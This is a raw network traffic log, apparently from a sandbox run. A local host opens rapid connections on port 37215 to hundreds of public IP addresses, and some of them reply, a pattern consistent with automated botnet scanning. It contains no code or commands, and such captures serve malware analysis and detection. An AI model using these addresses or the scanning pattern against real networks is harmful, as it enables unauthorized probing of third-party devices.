Oct 8, 2024 20:34:45.486262083 CEST	46928	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:45.486696959 CEST	47368	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:45.487509966 CEST	51222	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:45.487509966 CEST	37215	39644	197.103.175.106	192.168.2.14
Oct 8, 2024 20:34:45.487518072 CEST	51222	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:45.488500118 CEST	51658	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:45.488929033 CEST	37215	37782	41.98.76.2	192.168.2.14
Oct 8, 2024 20:34:45.489063025 CEST	37215	38230	41.98.76.2	192.168.2.14
Oct 8, 2024 20:34:45.489104986 CEST	38230	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.489434004 CEST	46656	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:45.489434004 CEST	46656	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:45.489645004 CEST	37215	60220	197.153.188.64	192.168.2.14
Oct 8, 2024 20:34:45.489892960 CEST	47088	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:45.490717888 CEST	55708	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:45.490717888 CEST	55708	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:45.491220951 CEST	56136	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:45.491575956 CEST	37215	46928	41.102.203.253	192.168.2.14
Oct 8, 2024 20:34:45.491590977 CEST	37215	60008	156.224.97.47	192.168.2.14
Oct 8, 2024 20:34:45.491600990 CEST	37215	50072	156.112.111.237	192.168.2.14
Oct 8, 2024 20:34:45.491611004 CEST	37215	41382	197.139.250.29	192.168.2.14
Oct 8, 2024 20:34:45.492192984 CEST	51186	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.492192984 CEST	51186	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.492535114 CEST	51610	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.493042946 CEST	37215	51222	41.33.42.250	192.168.2.14
Oct 8, 2024 20:34:45.493408918 CEST	58274	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:45.493408918 CEST	58274	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:45.494332075 CEST	58694	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:45.494755983 CEST	37215	46656	156.210.51.216	192.168.2.14
Oct 8, 2024 20:34:45.495265961 CEST	36460	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:45.495265961 CEST	36460	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:45.495781898 CEST	36876	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:45.496205091 CEST	37215	55708	41.237.78.220	192.168.2.14
Oct 8, 2024 20:34:45.496711016 CEST	48954	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:45.496711016 CEST	48954	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:45.497148037 CEST	37215	51186	197.221.227.11	192.168.2.14
Oct 8, 2024 20:34:45.497467041 CEST	49368	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:45.497494936 CEST	37215	51610	197.221.227.11	192.168.2.14
Oct 8, 2024 20:34:45.497534037 CEST	51610	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.498076916 CEST	58030	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:45.498095036 CEST	58030	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:45.498337984 CEST	37215	58274	197.94.191.86	192.168.2.14
Oct 8, 2024 20:34:45.498794079 CEST	58440	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:45.499524117 CEST	37215	52058	41.62.139.88	192.168.2.14
Oct 8, 2024 20:34:45.499524117 CEST	55218	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:45.499524117 CEST	55218	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:45.499536037 CEST	37215	45858	156.252.34.119	192.168.2.14
Oct 8, 2024 20:34:45.499546051 CEST	37215	52806	156.212.37.239	192.168.2.14
Oct 8, 2024 20:34:45.499566078 CEST	37215	38406	41.171.155.222	192.168.2.14
Oct 8, 2024 20:34:45.499577999 CEST	37215	59484	197.205.151.131	192.168.2.14
Oct 8, 2024 20:34:45.499588013 CEST	37215	44704	197.47.170.78	192.168.2.14
Oct 8, 2024 20:34:45.499854088 CEST	37215	40276	41.240.69.60	192.168.2.14
Oct 8, 2024 20:34:45.499866009 CEST	37215	52538	41.71.213.174	192.168.2.14
Oct 8, 2024 20:34:45.500058889 CEST	55626	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:45.500248909 CEST	37215	36460	41.121.20.163	192.168.2.14
Oct 8, 2024 20:34:45.500554085 CEST	42220	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.500554085 CEST	42220	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.501773119 CEST	37215	48954	41.50.101.100	192.168.2.14
Oct 8, 2024 20:34:45.503310919 CEST	37215	58030	197.138.131.243	192.168.2.14
Oct 8, 2024 20:34:45.503492117 CEST	42626	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.503835917 CEST	37215	52270	197.114.205.104	192.168.2.14
Oct 8, 2024 20:34:45.503845930 CEST	37215	37644	197.242.35.187	192.168.2.14
Oct 8, 2024 20:34:45.503856897 CEST	37215	49614	156.244.34.40	192.168.2.14
Oct 8, 2024 20:34:45.504184961 CEST	55048	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:45.504184961 CEST	55048	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:45.504381895 CEST	37215	55218	197.183.193.206	192.168.2.14
Oct 8, 2024 20:34:45.505510092 CEST	37215	42220	156.211.117.106	192.168.2.14
Oct 8, 2024 20:34:45.508747101 CEST	37215	42626	156.211.117.106	192.168.2.14
Oct 8, 2024 20:34:45.508791924 CEST	42626	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.508867979 CEST	55452	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:45.509430885 CEST	37215	55048	156.33.3.166	192.168.2.14
Oct 8, 2024 20:34:45.511532068 CEST	52950	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.511533022 CEST	52950	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.512502909 CEST	37215	57498	197.240.239.215	192.168.2.14
Oct 8, 2024 20:34:45.512528896 CEST	37215	44006	41.228.100.124	192.168.2.14
Oct 8, 2024 20:34:45.512536049 CEST	37215	39048	156.242.157.164	192.168.2.14
Oct 8, 2024 20:34:45.512538910 CEST	37215	50606	41.225.209.41	192.168.2.14
Oct 8, 2024 20:34:45.512547016 CEST	37215	39602	41.170.240.154	192.168.2.14
Oct 8, 2024 20:34:45.512552023 CEST	37215	42376	156.127.1.25	192.168.2.14
Oct 8, 2024 20:34:45.512557030 CEST	37215	54604	156.139.56.40	192.168.2.14
Oct 8, 2024 20:34:45.513067007 CEST	53352	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.514066935 CEST	52690	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:45.514066935 CEST	52690	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:45.514744997 CEST	53090	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:45.515543938 CEST	37215	45862	197.5.175.128	192.168.2.14
Oct 8, 2024 20:34:45.515552998 CEST	53810	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:45.515552998 CEST	53810	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:45.515568972 CEST	37215	60524	197.94.55.209	192.168.2.14
Oct 8, 2024 20:34:45.516211987 CEST	54208	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:45.516522884 CEST	37215	52950	41.49.156.70	192.168.2.14
Oct 8, 2024 20:34:45.516809940 CEST	37110	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:45.516809940 CEST	37110	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:45.517195940 CEST	37458	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:45.517772913 CEST	37312	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:45.517774105 CEST	37312	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:45.518143892 CEST	37646	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:45.518701077 CEST	58352	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:45.518718004 CEST	58352	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:45.519156933 CEST	58632	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:45.519171000 CEST	37215	53352	41.49.156.70	192.168.2.14
Oct 8, 2024 20:34:45.519206047 CEST	53352	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.519243956 CEST	37215	52690	156.133.98.88	192.168.2.14
Oct 8, 2024 20:34:45.519506931 CEST	37215	34346	156.9.173.187	192.168.2.14
Oct 8, 2024 20:34:45.519516945 CEST	37215	56960	197.247.144.107	192.168.2.14
Oct 8, 2024 20:34:45.519526958 CEST	37215	59306	197.200.82.162	192.168.2.14
Oct 8, 2024 20:34:45.520170927 CEST	44860	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:45.520170927 CEST	44860	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:45.520575047 CEST	45126	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:45.520709038 CEST	37215	53810	156.192.248.123	192.168.2.14
Oct 8, 2024 20:34:45.521315098 CEST	52512	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:45.521316051 CEST	52512	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:45.521816969 CEST	52756	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:45.521884918 CEST	37215	37110	156.196.97.204	192.168.2.14
Oct 8, 2024 20:34:45.522197962 CEST	37524	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:45.522244930 CEST	37524	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:45.522738934 CEST	37215	37312	156.13.36.43	192.168.2.14
Oct 8, 2024 20:34:45.522749901 CEST	37752	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:45.523317099 CEST	59302	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.523334980 CEST	59302	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.523427010 CEST	37215	33566	156.8.55.141	192.168.2.14
Oct 8, 2024 20:34:45.523498058 CEST	37215	52218	156.43.132.129	192.168.2.14
Oct 8, 2024 20:34:45.523509026 CEST	37215	39500	156.171.60.191	192.168.2.14
Oct 8, 2024 20:34:45.523631096 CEST	37215	58352	197.118.22.201	192.168.2.14
Oct 8, 2024 20:34:45.523806095 CEST	59512	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.524360895 CEST	39602	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:45.524360895 CEST	39602	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:45.524740934 CEST	39812	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:45.525499105 CEST	42658	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:45.525499105 CEST	42658	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:45.525851965 CEST	42858	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:45.526551962 CEST	41538	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:45.526551962 CEST	41538	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:45.527028084 CEST	41726	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:45.527595043 CEST	56478	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:45.527611971 CEST	56478	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:45.528090954 CEST	56646	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:45.528795958 CEST	50618	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.528820038 CEST	53174	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.528872013 CEST	55064	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.528898001 CEST	38230	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.528897047 CEST	60512	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.528897047 CEST	40756	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.528897047 CEST	59764	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.528909922 CEST	51610	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.528918982 CEST	42626	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.528937101 CEST	53352	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.529016018 CEST	59134	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:45.529056072 CEST	59134	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:45.529453993 CEST	59290	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:45.543786049 CEST	37524	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:45.543812037 CEST	52512	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:45.543816090 CEST	59302	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.543895006 CEST	44860	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:45.544392109 CEST	37215	59484	41.126.15.131	192.168.2.14
Oct 8, 2024 20:34:45.544503927 CEST	37215	47336	41.61.90.18	192.168.2.14
Oct 8, 2024 20:34:45.546525002 CEST	37215	60220	197.153.188.64	192.168.2.14
Oct 8, 2024 20:34:45.546535969 CEST	37215	37782	41.98.76.2	192.168.2.14
Oct 8, 2024 20:34:45.546560049 CEST	37215	46928	41.102.203.253	192.168.2.14
Oct 8, 2024 20:34:45.547753096 CEST	37215	46656	156.210.51.216	192.168.2.14
Oct 8, 2024 20:34:45.547763109 CEST	41538	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:45.547765970 CEST	56478	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:45.547768116 CEST	42658	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:45.547772884 CEST	37215	51222	41.33.42.250	192.168.2.14
Oct 8, 2024 20:34:45.547785044 CEST	39602	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:45.550065994 CEST	37215	58274	197.94.191.86	192.168.2.14
Oct 8, 2024 20:34:45.550076962 CEST	37215	51186	197.221.227.11	192.168.2.14
Oct 8, 2024 20:34:45.550087929 CEST	37215	55708	41.237.78.220	192.168.2.14
Oct 8, 2024 20:34:45.550277948 CEST	37215	58030	197.138.131.243	192.168.2.14
Oct 8, 2024 20:34:45.550292969 CEST	37215	48954	41.50.101.100	192.168.2.14
Oct 8, 2024 20:34:45.550297022 CEST	37215	36460	41.121.20.163	192.168.2.14
Oct 8, 2024 20:34:45.550308943 CEST	37215	44860	197.59.58.68	192.168.2.14
Oct 8, 2024 20:34:45.550318003 CEST	37215	42220	156.211.117.106	192.168.2.14
Oct 8, 2024 20:34:45.550328016 CEST	37215	55218	197.183.193.206	192.168.2.14
Oct 8, 2024 20:34:45.550482988 CEST	37215	52512	156.40.104.148	192.168.2.14
Oct 8, 2024 20:34:45.550962925 CEST	37215	37524	41.103.121.35	192.168.2.14
Oct 8, 2024 20:34:45.552073956 CEST	37215	59302	156.15.255.64	192.168.2.14
Oct 8, 2024 20:34:45.552129984 CEST	37215	55048	156.33.3.166	192.168.2.14
Oct 8, 2024 20:34:45.552153111 CEST	37215	59512	156.15.255.64	192.168.2.14
Oct 8, 2024 20:34:45.552220106 CEST	59512	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.552262068 CEST	59512	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.552293062 CEST	48169	37215	192.168.2.14	41.93.241.64
Oct 8, 2024 20:34:45.552308083 CEST	48169	37215	192.168.2.14	197.29.27.45
Oct 8, 2024 20:34:45.552308083 CEST	48169	37215	192.168.2.14	156.198.67.203
Oct 8, 2024 20:34:45.552314997 CEST	48169	37215	192.168.2.14	156.199.171.208
Oct 8, 2024 20:34:45.552314997 CEST	48169	37215	192.168.2.14	156.151.192.149
Oct 8, 2024 20:34:45.552336931 CEST	48169	37215	192.168.2.14	156.192.117.223
Oct 8, 2024 20:34:45.552337885 CEST	48169	37215	192.168.2.14	156.9.78.224
Oct 8, 2024 20:34:45.552355051 CEST	48169	37215	192.168.2.14	197.246.249.141
Oct 8, 2024 20:34:45.552355051 CEST	48169	37215	192.168.2.14	156.250.98.40
Oct 8, 2024 20:34:45.552356958 CEST	48169	37215	192.168.2.14	156.244.79.12
Oct 8, 2024 20:34:45.552356958 CEST	48169	37215	192.168.2.14	197.128.104.130
Oct 8, 2024 20:34:45.552356958 CEST	48169	37215	192.168.2.14	156.201.122.168
Oct 8, 2024 20:34:45.552360058 CEST	48169	37215	192.168.2.14	156.109.17.93
Oct 8, 2024 20:34:45.552370071 CEST	48169	37215	192.168.2.14	41.197.78.245
Oct 8, 2024 20:34:45.552370071 CEST	48169	37215	192.168.2.14	197.184.248.160
Oct 8, 2024 20:34:45.552371025 CEST	48169	37215	192.168.2.14	41.141.134.51
Oct 8, 2024 20:34:45.552388906 CEST	48169	37215	192.168.2.14	156.147.176.121
Oct 8, 2024 20:34:45.552390099 CEST	48169	37215	192.168.2.14	197.101.245.196
Oct 8, 2024 20:34:45.552400112 CEST	48169	37215	192.168.2.14	156.85.201.232
Oct 8, 2024 20:34:45.552402020 CEST	48169	37215	192.168.2.14	156.167.56.110
Oct 8, 2024 20:34:45.552407026 CEST	48169	37215	192.168.2.14	41.4.131.181
Oct 8, 2024 20:34:45.552417040 CEST	48169	37215	192.168.2.14	197.9.143.71
Oct 8, 2024 20:34:45.552422047 CEST	48169	37215	192.168.2.14	41.23.177.152
Oct 8, 2024 20:34:45.552422047 CEST	48169	37215	192.168.2.14	197.102.142.14
Oct 8, 2024 20:34:45.552428961 CEST	48169	37215	192.168.2.14	156.83.85.192
Oct 8, 2024 20:34:45.552443027 CEST	48169	37215	192.168.2.14	41.14.149.61
Oct 8, 2024 20:34:45.552453041 CEST	48169	37215	192.168.2.14	41.150.73.240
Oct 8, 2024 20:34:45.552453995 CEST	48169	37215	192.168.2.14	156.60.23.129
Oct 8, 2024 20:34:45.552467108 CEST	48169	37215	192.168.2.14	156.68.231.240
Oct 8, 2024 20:34:45.552475929 CEST	48169	37215	192.168.2.14	41.164.228.47
Oct 8, 2024 20:34:45.552478075 CEST	48169	37215	192.168.2.14	156.199.244.247
Oct 8, 2024 20:34:45.552478075 CEST	48169	37215	192.168.2.14	41.217.60.65
Oct 8, 2024 20:34:45.552484989 CEST	48169	37215	192.168.2.14	197.247.183.145
Oct 8, 2024 20:34:45.552485943 CEST	48169	37215	192.168.2.14	41.107.214.47
Oct 8, 2024 20:34:45.552489042 CEST	48169	37215	192.168.2.14	156.85.35.37
Oct 8, 2024 20:34:45.552493095 CEST	48169	37215	192.168.2.14	156.47.75.83
Oct 8, 2024 20:34:45.552505016 CEST	48169	37215	192.168.2.14	197.98.141.127
Oct 8, 2024 20:34:45.552506924 CEST	48169	37215	192.168.2.14	197.207.36.253
Oct 8, 2024 20:34:45.552520037 CEST	48169	37215	192.168.2.14	156.95.253.221
Oct 8, 2024 20:34:45.552537918 CEST	48169	37215	192.168.2.14	156.92.24.76
Oct 8, 2024 20:34:45.552537918 CEST	48169	37215	192.168.2.14	41.156.250.193
Oct 8, 2024 20:34:45.552537918 CEST	48169	37215	192.168.2.14	197.200.104.173
Oct 8, 2024 20:34:45.552537918 CEST	48169	37215	192.168.2.14	41.25.92.47
Oct 8, 2024 20:34:45.552556992 CEST	48169	37215	192.168.2.14	197.229.55.216
Oct 8, 2024 20:34:45.552556992 CEST	48169	37215	192.168.2.14	41.36.214.198
Oct 8, 2024 20:34:45.552556992 CEST	48169	37215	192.168.2.14	156.150.194.118
Oct 8, 2024 20:34:45.552572966 CEST	48169	37215	192.168.2.14	197.89.255.67
Oct 8, 2024 20:34:45.552583933 CEST	48169	37215	192.168.2.14	156.229.160.27
Oct 8, 2024 20:34:45.552583933 CEST	48169	37215	192.168.2.14	197.71.208.250
Oct 8, 2024 20:34:45.552584887 CEST	48169	37215	192.168.2.14	41.209.127.111
Oct 8, 2024 20:34:45.552584887 CEST	48169	37215	192.168.2.14	41.215.160.182
Oct 8, 2024 20:34:45.552604914 CEST	48169	37215	192.168.2.14	156.231.59.138
Oct 8, 2024 20:34:45.552609921 CEST	48169	37215	192.168.2.14	41.9.239.112
Oct 8, 2024 20:34:45.552615881 CEST	48169	37215	192.168.2.14	156.23.138.191
Oct 8, 2024 20:34:45.552624941 CEST	48169	37215	192.168.2.14	41.151.162.49
Oct 8, 2024 20:34:45.552633047 CEST	48169	37215	192.168.2.14	156.56.27.255
Oct 8, 2024 20:34:45.552633047 CEST	48169	37215	192.168.2.14	41.153.43.150
Oct 8, 2024 20:34:45.552637100 CEST	48169	37215	192.168.2.14	41.33.8.150
Oct 8, 2024 20:34:45.552639961 CEST	48169	37215	192.168.2.14	156.119.210.83
Oct 8, 2024 20:34:45.552656889 CEST	48169	37215	192.168.2.14	41.195.79.159
Oct 8, 2024 20:34:45.552663088 CEST	48169	37215	192.168.2.14	41.185.59.253
Oct 8, 2024 20:34:45.552674055 CEST	48169	37215	192.168.2.14	156.235.82.82
Oct 8, 2024 20:34:45.552674055 CEST	48169	37215	192.168.2.14	41.234.194.123
Oct 8, 2024 20:34:45.552685022 CEST	48169	37215	192.168.2.14	41.104.40.20
Oct 8, 2024 20:34:45.552691936 CEST	48169	37215	192.168.2.14	156.128.37.66
Oct 8, 2024 20:34:45.552700996 CEST	48169	37215	192.168.2.14	41.99.230.28
Oct 8, 2024 20:34:45.552706003 CEST	48169	37215	192.168.2.14	41.182.72.24
Oct 8, 2024 20:34:45.552712917 CEST	48169	37215	192.168.2.14	41.42.74.235
Oct 8, 2024 20:34:45.552719116 CEST	48169	37215	192.168.2.14	197.13.165.108
Oct 8, 2024 20:34:45.552731037 CEST	48169	37215	192.168.2.14	197.41.226.215
Oct 8, 2024 20:34:45.552741051 CEST	48169	37215	192.168.2.14	41.80.23.102
Oct 8, 2024 20:34:45.552741051 CEST	48169	37215	192.168.2.14	197.159.109.127
Oct 8, 2024 20:34:45.552747011 CEST	48169	37215	192.168.2.14	156.182.42.13
Oct 8, 2024 20:34:45.552756071 CEST	48169	37215	192.168.2.14	156.155.223.187
Oct 8, 2024 20:34:45.552756071 CEST	48169	37215	192.168.2.14	197.170.241.61
Oct 8, 2024 20:34:45.552756071 CEST	48169	37215	192.168.2.14	41.124.90.143
Oct 8, 2024 20:34:45.552764893 CEST	48169	37215	192.168.2.14	197.120.114.140
Oct 8, 2024 20:34:45.552783012 CEST	48169	37215	192.168.2.14	156.186.48.181
Oct 8, 2024 20:34:45.552786112 CEST	48169	37215	192.168.2.14	41.90.19.185
Oct 8, 2024 20:34:45.552786112 CEST	48169	37215	192.168.2.14	41.58.160.161
Oct 8, 2024 20:34:45.552788973 CEST	48169	37215	192.168.2.14	41.45.140.41
Oct 8, 2024 20:34:45.552793980 CEST	48169	37215	192.168.2.14	197.115.125.73
Oct 8, 2024 20:34:45.552809954 CEST	48169	37215	192.168.2.14	41.165.147.255
Oct 8, 2024 20:34:45.552809954 CEST	48169	37215	192.168.2.14	156.224.25.207
Oct 8, 2024 20:34:45.552819014 CEST	48169	37215	192.168.2.14	156.21.101.192
Oct 8, 2024 20:34:45.552819014 CEST	48169	37215	192.168.2.14	41.224.34.122
Oct 8, 2024 20:34:45.552839994 CEST	48169	37215	192.168.2.14	156.212.148.165
Oct 8, 2024 20:34:45.552839994 CEST	48169	37215	192.168.2.14	156.160.101.53
Oct 8, 2024 20:34:45.552844048 CEST	48169	37215	192.168.2.14	156.16.14.253
Oct 8, 2024 20:34:45.552855015 CEST	48169	37215	192.168.2.14	156.204.6.224
Oct 8, 2024 20:34:45.552855968 CEST	48169	37215	192.168.2.14	197.132.1.11
Oct 8, 2024 20:34:45.552860975 CEST	48169	37215	192.168.2.14	156.33.209.90
Oct 8, 2024 20:34:45.552869081 CEST	48169	37215	192.168.2.14	156.16.30.118
Oct 8, 2024 20:34:45.552870989 CEST	48169	37215	192.168.2.14	197.16.216.56
Oct 8, 2024 20:34:45.552886963 CEST	48169	37215	192.168.2.14	41.79.83.29
Oct 8, 2024 20:34:45.552891016 CEST	48169	37215	192.168.2.14	41.201.81.13
Oct 8, 2024 20:34:45.552891970 CEST	48169	37215	192.168.2.14	156.97.148.221
Oct 8, 2024 20:34:45.552895069 CEST	48169	37215	192.168.2.14	197.193.53.147
Oct 8, 2024 20:34:45.552895069 CEST	48169	37215	192.168.2.14	156.48.244.81
Oct 8, 2024 20:34:45.552918911 CEST	48169	37215	192.168.2.14	197.216.21.158
Oct 8, 2024 20:34:45.552926064 CEST	48169	37215	192.168.2.14	197.44.150.199
Oct 8, 2024 20:34:45.552926064 CEST	48169	37215	192.168.2.14	41.232.184.192
Oct 8, 2024 20:34:45.552926064 CEST	48169	37215	192.168.2.14	197.164.187.122
Oct 8, 2024 20:34:45.552926064 CEST	48169	37215	192.168.2.14	156.174.107.93
Oct 8, 2024 20:34:45.552927971 CEST	48169	37215	192.168.2.14	41.58.27.62
Oct 8, 2024 20:34:45.552927971 CEST	48169	37215	192.168.2.14	156.64.134.7
Oct 8, 2024 20:34:45.552930117 CEST	48169	37215	192.168.2.14	41.31.147.103
Oct 8, 2024 20:34:45.552930117 CEST	48169	37215	192.168.2.14	156.190.68.87
Oct 8, 2024 20:34:45.552932024 CEST	48169	37215	192.168.2.14	197.89.60.141
Oct 8, 2024 20:34:45.552936077 CEST	48169	37215	192.168.2.14	41.23.110.104
Oct 8, 2024 20:34:45.552937984 CEST	48169	37215	192.168.2.14	156.38.150.197
Oct 8, 2024 20:34:45.552937984 CEST	48169	37215	192.168.2.14	156.157.91.211
Oct 8, 2024 20:34:45.552944899 CEST	48169	37215	192.168.2.14	41.246.82.52
Oct 8, 2024 20:34:45.552951097 CEST	48169	37215	192.168.2.14	41.144.162.255
Oct 8, 2024 20:34:45.552951097 CEST	48169	37215	192.168.2.14	156.130.111.219
Oct 8, 2024 20:34:45.552952051 CEST	37215	39602	197.3.1.37	192.168.2.14
Oct 8, 2024 20:34:45.552962065 CEST	37215	42658	156.228.8.25	192.168.2.14
Oct 8, 2024 20:34:45.552972078 CEST	37215	41538	197.61.130.134	192.168.2.14
Oct 8, 2024 20:34:45.552973986 CEST	48169	37215	192.168.2.14	156.226.88.254
Oct 8, 2024 20:34:45.552977085 CEST	48169	37215	192.168.2.14	156.52.86.74
Oct 8, 2024 20:34:45.552977085 CEST	48169	37215	192.168.2.14	41.197.211.3
Oct 8, 2024 20:34:45.552982092 CEST	48169	37215	192.168.2.14	197.246.117.10
Oct 8, 2024 20:34:45.552990913 CEST	48169	37215	192.168.2.14	197.93.221.1
Oct 8, 2024 20:34:45.552993059 CEST	48169	37215	192.168.2.14	156.240.54.249
Oct 8, 2024 20:34:45.552994013 CEST	48169	37215	192.168.2.14	41.241.180.7
Oct 8, 2024 20:34:45.553002119 CEST	48169	37215	192.168.2.14	41.153.222.11
Oct 8, 2024 20:34:45.553002119 CEST	48169	37215	192.168.2.14	156.236.159.164
Oct 8, 2024 20:34:45.553009033 CEST	48169	37215	192.168.2.14	41.69.60.39
Oct 8, 2024 20:34:45.553009987 CEST	48169	37215	192.168.2.14	197.63.13.41
Oct 8, 2024 20:34:45.553021908 CEST	48169	37215	192.168.2.14	156.155.27.251
Oct 8, 2024 20:34:45.553030014 CEST	48169	37215	192.168.2.14	41.125.60.241
Oct 8, 2024 20:34:45.553031921 CEST	48169	37215	192.168.2.14	197.101.165.121
Oct 8, 2024 20:34:45.553031921 CEST	48169	37215	192.168.2.14	156.177.20.136
Oct 8, 2024 20:34:45.553041935 CEST	37215	56478	197.249.177.156	192.168.2.14
Oct 8, 2024 20:34:45.553044081 CEST	48169	37215	192.168.2.14	197.138.54.236
Oct 8, 2024 20:34:45.553044081 CEST	48169	37215	192.168.2.14	197.156.100.75
Oct 8, 2024 20:34:45.553067923 CEST	48169	37215	192.168.2.14	41.141.157.193
Oct 8, 2024 20:34:45.553071022 CEST	48169	37215	192.168.2.14	41.157.238.193
Oct 8, 2024 20:34:45.553073883 CEST	48169	37215	192.168.2.14	156.54.116.82
Oct 8, 2024 20:34:45.553076982 CEST	48169	37215	192.168.2.14	197.4.155.157
Oct 8, 2024 20:34:45.553081036 CEST	48169	37215	192.168.2.14	41.55.250.187
Oct 8, 2024 20:34:45.553081036 CEST	48169	37215	192.168.2.14	156.244.182.109
Oct 8, 2024 20:34:45.553087950 CEST	48169	37215	192.168.2.14	156.167.181.192
Oct 8, 2024 20:34:45.553090096 CEST	48169	37215	192.168.2.14	156.95.130.112
Oct 8, 2024 20:34:45.553090096 CEST	48169	37215	192.168.2.14	156.145.251.110
Oct 8, 2024 20:34:45.553090096 CEST	48169	37215	192.168.2.14	156.181.42.223
Oct 8, 2024 20:34:45.553092957 CEST	48169	37215	192.168.2.14	197.140.84.48
